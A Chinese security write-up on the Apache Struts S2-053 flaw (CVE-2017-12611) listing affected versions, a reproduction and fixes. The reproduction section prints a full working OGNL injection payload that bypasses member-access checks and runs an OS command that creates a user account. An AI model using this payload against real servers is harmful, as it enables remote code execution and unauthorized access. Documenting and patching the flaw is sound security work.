0x00 概述:
9月7日,apache struts放出s2-053安全公告,漏洞编号:CVE-2017-12611
,漏洞在于当freemarker标签使用表达式常量或强制的表达式时会导致RCE。
官方summary:
A possible Remote Code Execution attack when using an unintentional expression in Freemarker tag instead of string literals
0x01 影响范围:
Struts 2.0.1 – Struts 2.3.33,
Struts 2.5 – Struts 2.5.10
0x02 漏洞重现:
利用war包或docker很容易部署环境。
打开页面,输入表达式%{33-1}进行测试,发现成功执行,返回32:
利用exp创建账户,exp如下:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user iamlsa iamlsa /add').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
成功创建iamlsa账户
重现成功!
0x03 修复方案:
升级到Apache Struts2.5.12或2.3.34
Freemarker标签内容不要通过Request方式获取
使用只读属性来初始化value属性(仅限getter属性)
不要使用如下结构
<@s.hidden name=”redirectUri” value=redirectUri />
<@s.hidden name=”redirectUri” value=”${redirectUri}” />
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论